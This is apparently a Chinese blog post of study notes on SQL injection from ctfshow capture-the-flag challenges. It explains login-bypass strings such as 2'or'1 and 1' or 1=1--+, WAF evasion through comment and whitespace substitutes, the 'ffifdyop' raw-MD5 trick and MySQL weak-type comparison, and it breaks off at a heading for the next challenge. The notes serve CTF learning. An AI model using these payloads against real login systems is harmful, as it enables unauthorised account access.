一、万能密码:
什么是万能密码?
用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。用户登录时,后台执行的数据库查询操作(SQL语句)是:
【Select user_id,user_type,email From users Where user_id=’用户名’ And password=’密码’】
这里我们没有对单引号进行过滤,当输入用户名【admin】和万能密码【2’or’1】时,执行的SQL语句为:
【Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’or’1’】。
3.由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。因此,此SQL语句在后台解析时,分成两句:
【Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’】和【’1’】,两句bool值进行逻辑or运算,恒为TRUE。
SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
1’ or 1 = 1--+
1'or'1'='1'%23
二、waf绕过 sql注入
空格:/**/ %0a
,%0b
,%0c
,%0d
,%09
都可以表示空格
注释符 : --+ %23 # 都可以表示注释符
还有很多绕过参考ctfshow web178-186
web187 md5绕过
mysql中,or 语句后面只要是一个1开头的,那就整个结果就是true
所以本质就是要构造or ‘number'
$username = $_POST['username']; $password = md5($_POST['password'],true);
md5类的password绕过
万能md5:ffifdyop
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
构造的ffifdyop即可实现下述代码 其中or 一侧存在6 非0即为真满足条件即可登录
SELECT * FROM admin WHERE pass=’ ‘or ’ 6’
web188 只能为数字 弱类型比较
mysql弱类型比较
如 ‘4ad’=4
字符串与数字进行比较的时候,mysql会自动将字符串转为数字
而当数字为0,且字符串开头不为其他数字时,弱类型恒成立
那么我们就可以使password = 0 这样对于所有的密码以字符开头的 都是可以匹配的
全部传0即可
web189
标签:总结,语句,admin,user,SQL,password,id,注入 From: https://www.cnblogs.com/heck1ng/p/18390736